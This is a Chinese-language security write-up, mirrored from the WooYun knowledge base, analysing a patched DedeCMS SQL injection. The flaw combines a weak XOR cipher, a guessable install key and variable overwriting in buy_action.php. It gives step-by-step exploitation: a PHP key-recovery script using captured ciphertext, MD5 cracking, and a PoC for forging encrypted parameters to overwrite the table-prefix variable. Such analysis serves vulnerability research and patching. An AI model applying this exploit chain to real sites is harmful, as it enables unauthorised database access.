作者:
360網站安全中心
·
2014/02/28 12:04
0x00 前言
前兩天,烏雲白帽子提交了兩個DedeCMS的通殺注入漏洞,鬧得沸沸揚揚,25號織夢官方釋出了補丁,於是就下載最新程式碼回來做了對比,這裡簡單的分析下其中的一個注入。
0x01 漏洞分析
對比補丁後發現,25號釋出的原始碼修改了5個檔案,其中的/member/buy_action.php檔案補丁對比如圖1。
很明顯mchStrCode函式加強了加密強度,補丁前是簡單的異或演算法,但是織夢25號釋出的補丁旨在修復烏雲提交的兩個注入,這個函式可能有貓膩,搜尋呼叫該函式的檔案,如圖2。
接著看到/member/buy_action.php的22 - 40行程式碼:
#!php
if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;
$row = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
if(!isset($row['buyid']))
{
ShowMsg("請不要重複提交表單!", 'javascript:;');
exit();
}
if(!isset($paytype))
{
ShowMsg("請選擇支付方式!", 'javascript:;');
exit();
}
$buyid = $row['buyid'];
}else{
注意其中的這兩行程式碼:
#!php
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;
呼叫了mchStrCode函式對$pd_encode變數解密並透過parse_str函式註冊變數,緊接著foreach遍歷$mch_Post陣列,這裡如果我們可以控制$pd_encode解碼後的內容,就可以註冊覆蓋任意變數。回過頭來看mchStrCode函式的程式碼:
#!php
function mchStrCode($string,$action='ENCODE')
{
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = '';
for($i=0; $i<strlen($string); $i++)
{
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}
看到mchStrCode函式中的這句程式碼:
#!php
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
$_SERVER["HTTP_USER_AGENT"]+$GLOBALS['cfg_cookie_encode']
經過md5取18位字元,其中的$_SERVER["HTTP_USER_AGENT"]
是瀏覽器的USER_AGENT,我們可控,關鍵是這個$GLOBALS['cfg_cookie_encode']
的來源,我們繼續對比補丁,如圖3。
其中/install/index.php的$rnd_cookieEncode字串的生成同樣是加強了強度,$rnd_cookieEncode字串最終也就是前面提到的$GLOBALS['cfg_cookie_encode']
,我們看看補丁前的程式碼:
#!php
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
這段程式碼生成的加密密匙很有規律,所有密匙數為26^6*(9999-1000)=2779933068224,把所有可能的組合生成字典,用passwordpro暴力跑MD5或者使用GPU來破解,破解出md5過的密匙也花不了多少時間。 分析到此,現在的關鍵是如何得到經過MD5加密後的18位長度密匙。前面說過,mchStrCode函式使用簡單的異或演算法,假設有明文A,密匙B,密文C,則:
C = A ^ B
B = A ^ C
也就是說ABC只要只其二就可以推匯出剩下的一個了。怎麼得到明文以及加密後的字串呢?看到/member/buy_action.php的112 - 114行程式碼:
#!php
$pr_encode = '';
foreach($_REQUEST as $key => $val)
{
$pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
}
$pr_encode = str_replace('=', '', mchStrCode($pr_encode));
$pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);
$tpl = new DedeTemplate();
$tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
$tpl->Display();
注意到$pr_encode是從$_REQUEST獲取的,也就是說明文可控,同時$pr_encode加密後寫到html頁面,如圖4。
0x02 漏洞測試
下面來測試,這裡需要用到firefox的一個外掛User Agent Switcher來設定UA,安裝外掛後,新增一個UA頭,其中的User Agent清空,description隨便填。確認儲存並使用外掛將瀏覽器的UA設定剛剛新增的UA頭,即為空。如圖5。
設定為空是因為mchStrCode函式中的密匙含$_SERVER["HTTP_USER_AGENT"]
,如果不為空將加大md5的破解難度,設定為空則密匙為固定10位長度。設定好UA後,註冊並登陸會員中心,在“我的織夢”->“消費中心”->“會員升級/點卡充值”中的“購買新點卡”選擇“100點卡”,在點選購買前使用Live HTTP header監聽,抓到的資料包如圖6。
因為$_REQUEST獲取引數是從$_GET->$_POST->$_COOKIE依次獲取,所以$pr_encode明文的的內容為POST的內容“product=card&pid=1”加上COOKIE的內容,然後加密並列印加密後的字串到html頁面。同時“product=card&pid=1”剛好18個字元長度,對應密匙長度。點選購買後支付方式選支付寶,再次使用使用Live HTTP header監聽,點選購買並支付提交,抓到的資料包如圖7。
將pd_encode=後面的字串複製下來,利用下面的程式碼逆出MD5加密後的key:
#!php
<?php
$key = "product=card&pid=1";
$string = "QEJXUxNTQwlVABcGF0QMVAwFFmBwZzV1ZGd%2FJVhQQAIXWAMCBEZeBwAAUVJTAgoNA0BTBgdWBhZ8UgJVYkdTEywmDAxDdFRQVWVLUhR5c2tpAg4vVQFYVFQHBAVZUV5VBVEGAFdQBRIhVVVRfF9fXghkXllTXFRRCAdRAAUDBQUecwNUUnhZBgwMZV0IVW5rU1t1U1MNVVIOWFFRA1UEAwcEUQZaBUB1eWJpJiogcHcub2RmfA0XUwNUUldbEkoPVFkHVUMbX0BdRQdEXltYTxUKQQ";//加密的pd_encode字串,需要修改
$string = base64_decode(urldecode($string));
for($i=0; $i<strlen($string); $i++)
{
$code .= $string[$i] ^ $key[$i];
}
echo "md5(\$key):" .$code;
?>
如圖8。取逆出的key的前16位破解md5即可,破解出密匙後就可以利用mchStrCode函式來加密引數,同時利用變數覆蓋漏洞覆蓋$GLOBALS[cfg_dbprefix]實現注入。這裡給出一段POC,程式碼如下:
#!php
<?php
$GLOBALS['cfg_cookie_encode'] = 'CaQIm1790O';
function mchStrCode($string,$action='ENCODE')
{
$key = substr(md5($GLOBALS['cfg_cookie_encode']),8,18);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = '';
for($i=0; $i<strlen($string); $i++)
{
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}
其中的CaQIm1790O就是解密出來的密匙,漏洞分析到處結束,感覺像是在記流水賬,將就看看吧,最後上個本地測試EXP的圖。如圖9。
0x03 總結
寫到這裡就算結束了,最後做個總結,漏洞由mchStrCode函式弱演算法->導致透過獲取到的明文和密文可以逆出經過MD5加密的密匙->破解MD5得到密匙->利用密匙加密資料->經過parse_str函式和foreach遍歷最終覆蓋表字首變數$GLOBALS[cfg_dbprefix]實現注入,這樣的漏洞並不多見,但危害很大,WAF等防火牆很難防禦,漏洞利用過程提交的資料因為加密,面目全非,和正常使用者操作提交的資料並無二致。
附:官方補丁地址:http://www.dedecms.com/pl/
原文連結:http://loudong.360.cn/blog/view/id/16
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!